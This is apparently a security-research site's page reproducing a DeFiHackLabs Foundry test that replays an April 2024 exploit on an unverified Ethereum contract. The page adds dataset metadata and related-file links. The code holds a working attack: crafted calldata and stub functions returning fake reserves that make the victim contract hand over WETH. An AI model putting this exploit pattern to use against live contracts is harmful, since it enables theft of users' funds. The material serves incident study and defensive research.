Public reproduction file
src/test/2024-04/UnverifiedContr_0x00C409_exp.sol
Public reproduction file for dataset entry UnverifiedContr_0x00C409.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/eth/0x998f1da472d927e74405b0aa1bbf5c1dbc50d74b39977bed3307ea2ada1f1d3f8// GUY : https://x.com/CyversAlerts/status/17805934078716355389// Profit : ~18 WETH11contract ContractTest is Test {12 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);13 address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);15 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);17 event log_data(bytes data);19 function setUp() public {20 vm.createSelectFork("mainnet", 19_255_512);21 }23 function testExploit() external {24 deal(address(weth), address(this), 4704.1 ether);25 emit log_named_decimal_uint(26 "[End] Attacker weth balance before exploit", weth.balanceOf(address(this)), weth.decimals()27 );28 attack();29 emit log_named_decimal_uint(30 "[End] Attacker weth balance after exploit", weth.balanceOf(address(this)), weth.decimals()31 );32 }34 function attack() public {35 weth.withdraw(4704.1 ether);36 address(vulnContract).call{value: 4704.1 ether}("");37 bytes memory data = abi.encodeWithSelector(38 bytes4(0xba381f8f),39 0xffffffffffffffffff,40 0x01,41 address(this),42 address(this),43 0x00,44 0x00,45 0x00,46 address(this),47 0x0148 );49 emit log_data(data);50 // bytes memory data=hex"ba381f8f0000000000000000000000000000000000000000000000ffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000001";51 vulnContract.call(data);52 }54 function getBalance(55 address token56 ) public view returns (uint256) {57 return 1;58 }60 function getbalance() public {61 emit log_named_decimal_uint("this token balance", weth.balanceOf(address(vulnContract)), weth.decimals());62 }64 function getReserves() public view returns (uint256, uint256, uint256) {65 return (1, 1, block.timestamp);66 }68 function calcOutGivenIn(69 uint256 amountIn,70 uint256 reserveIn,71 uint256 reserveOut,72 uint256 a,73 uint256 b,74 uint256 c75 ) public pure returns (uint256 amountOut) {76 return 1;77 }79 function swapExactAmountIn(80 address tokenIn,81 uint256 tokenAmountIn,82 address tokenOut,83 uint256 minAmountOut,84 uint256 maxPrice85 ) external returns (uint256, uint256) {86 weth.transferFrom(msg.sender, address(this), tokenAmountIn);87 return (0, 0);88 }90 function transfer(address to, uint256 value) public returns (bool) {91 return true;92 }94 fallback() external payable {}95}Analysis
Dataset entry
Public Foundry test for “UnverifiedContr_0x00C409” (2024-04-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- UnverifiedContr_0x00C409
- Path
- src/test/2024-04/UnverifiedContr_0x00C409_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4c7bd153d59332eff0154d003b0b193dcfd8302f
- Language
- Solidity
- Size
- 96 lines
- Date
- 2024-04-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/UnverifiedContr_0x00C409_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4c7bd153d59332eff0154d003b0b193dcfd8302f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.